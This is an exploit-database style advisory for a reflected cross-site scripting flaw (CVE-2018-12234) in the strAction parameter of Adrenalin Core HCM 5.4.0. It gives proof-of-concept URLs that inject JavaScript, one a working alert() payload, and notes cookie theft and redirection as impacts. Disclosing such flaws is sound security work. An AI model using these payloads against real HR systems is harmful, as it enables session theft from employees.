Adrenalin Core HCM 5.4.0 - strAction Reflected Cross-Site Scripting

# Exploit Title: Adrenalin Core HCM 5.4.0 - 'strAction' Reflected Cross-Site Scripting
# Google Dork: NA
# Date: 2018-09-06
# Exploit Author: Rishu Ranjan (Cy83rl0gger)
# Vendor Homepage: https://www.myadrenalin.com/
# Software Link: https://www.myadrenalin.com/core-hcm/
# Version: 5.4.0 (REQUIRED)
# Tested on: NA
# CVE : CVE-2018-12234
# Type: webapps
# Platform: Multiple

# Description
# ====================
# A Reflected Cross Site Scripting (XSS) Vulnerability was discovered in Adrenalin Core HCM v5.4.0 of HRMS Software. 
# The user supplied input containing malicious JavaScript is echoed back as it is in JavaScript code in an HTML response.

# URL
# ====================

https://<Host:port>/Adrenalin/flexiportal/GeneralInfo.aspx?strAction=Update0%22[Javascript code]22HRMS%22%29%2f%2f1
https://<Host:port>/myadrenalin/flexiportal/GeneralInfo.aspx?strAction=Update11170%22%3balert(%22HRMS%22)%2f%2f155

Parameter
====================
strAction

Attack Type
====================
Remote

CVE Impact Other
====================
Allows an attacker to input malicious JavaScript which can steal cookie, redirect them to other malicious website, etc.

Reference
====================
https://nvd.nist.gov/vuln/detail/CVE-2018-12234
https://www.knowcybersec.com/2018/09/first-cve-2018-12234-reflected-XSS.html

Discoverer
====================
Rishu Ranjan